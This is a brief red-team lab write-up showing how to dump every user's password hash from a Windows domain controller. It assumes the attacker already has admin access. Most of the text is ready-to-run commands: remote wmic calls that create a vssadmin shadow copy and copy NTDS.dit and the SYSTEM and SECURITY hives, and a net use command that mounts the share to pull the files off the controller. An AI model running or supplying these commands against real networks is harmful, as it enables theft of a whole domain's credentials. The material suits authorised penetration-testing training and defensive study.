Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy

This quick labs hows how to dump all user hashes from the DC by creating a shadow copy of the C drive using vssadmin - remotely.

This lab assumes the attacker has already gained administratrative access to the domain controller.


Create a shadow copy of the C drive of the Domain Controller:

wmic /node:dc01 /user:administrator@offense /password:123456 process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

Copy the NTDS.dit, SYSTEM and SECURITY hives to C:\temp on the DC01:

wmic /node:dc01 /user:administrator@offense /password:123456 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\temp\"

Below shows the above command executed on the attacking machine (right) and the files being dumped to c:\temp on the DC01 on the left:

Mount the DC01\c$\temp locally in order to retrieve the dumped files:

net use j: \\dc01\c$\temp /user:administrator 123456; dir j:\

Now, of you go extracting hashes with secretsdump as shown here:
